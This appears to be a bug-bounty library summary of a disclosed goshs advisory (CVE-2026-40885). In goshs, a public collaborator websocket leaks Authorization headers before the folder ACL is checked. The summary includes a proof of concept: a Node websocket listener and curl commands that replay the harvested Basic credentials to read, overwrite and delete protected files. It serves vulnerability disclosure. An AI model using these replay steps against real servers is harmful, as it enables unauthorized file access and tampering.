# goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access

goshs logs requests before .goshs ACL checks and broadcasts raw headers over a public websocket, leaking folder basic-auth credentials for replay.

- Payout: Research
- Severity: high
- Program: goshs
- Found by: R1ZZG0D
- Disclosed: 2026-04-14
- CVE: CVE-2026-40885
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7h3j-592v-jcrp
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-7h3j-592v-jcrp
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go tech:websocket technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** Go file-sharing HTTP server with collaborator websocket
**Root cause:** Request logging and collaborator event emission occur before folder-level .goshs ACL enforcement, and the collaborator pipeline copies all request headers including Authorization into websocket broadcasts and catchup replays.
**Steps:**
1. Start goshs without global auth: `/tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096` with an `ACLAuth/.goshs` protected folder.
2. Connect unauthenticated observer: `new WebSocket('ws://127.0.0.1:18096/?ws')`.
3. Victim sends `curl -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt`.
4. Observer receives event containing `Authorization":"Basic YWRtaW46YWRtaW4="`.
5. Replay header: `curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt` returns file contents.
6. Replay `PUT --data-binary 'owned'` to `/ACLAuth/pwn.txt` returns 200; replay `?delete` returns 200.
**How found:** Code review of the request handler ordering: emitCollabEvent/LogRequest run before applyCustomAuth, and collaborator.go flattens all headers into the broadcast; confirmed by watching the public websocket during a victim request.
**Exploitation:** Attacker passively connects to the public collaborator websocket (or receives catchup replay of up to 200 prior events) and harvests Authorization headers from any victim request to a .goshs-protected folder, then replays them to read, upload, overwrite, or delete files in that subtree.
**Escalation:** Disclosure of folder credentials escalates to full read/write/delete access over the protected subtree, effectively bypassing .goshs ACLs.
**Insight:** When a server has per-folder auth layered under a public UI, check whether logging/telemetry/websocket fan-out happens before the ACL check — any pre-auth observability channel that copies raw headers leaks the very credential the ACL relies on.

## Proof of concept (copied exactly from the original report)

**Websocket observer capturing leaked Authorization header**

```
node - <<'NODE'
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onmessage = (ev) => console.log(ev.data.toString());
NODE
```

**Replay leaked header to read, PUT, delete**

```
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete'
```

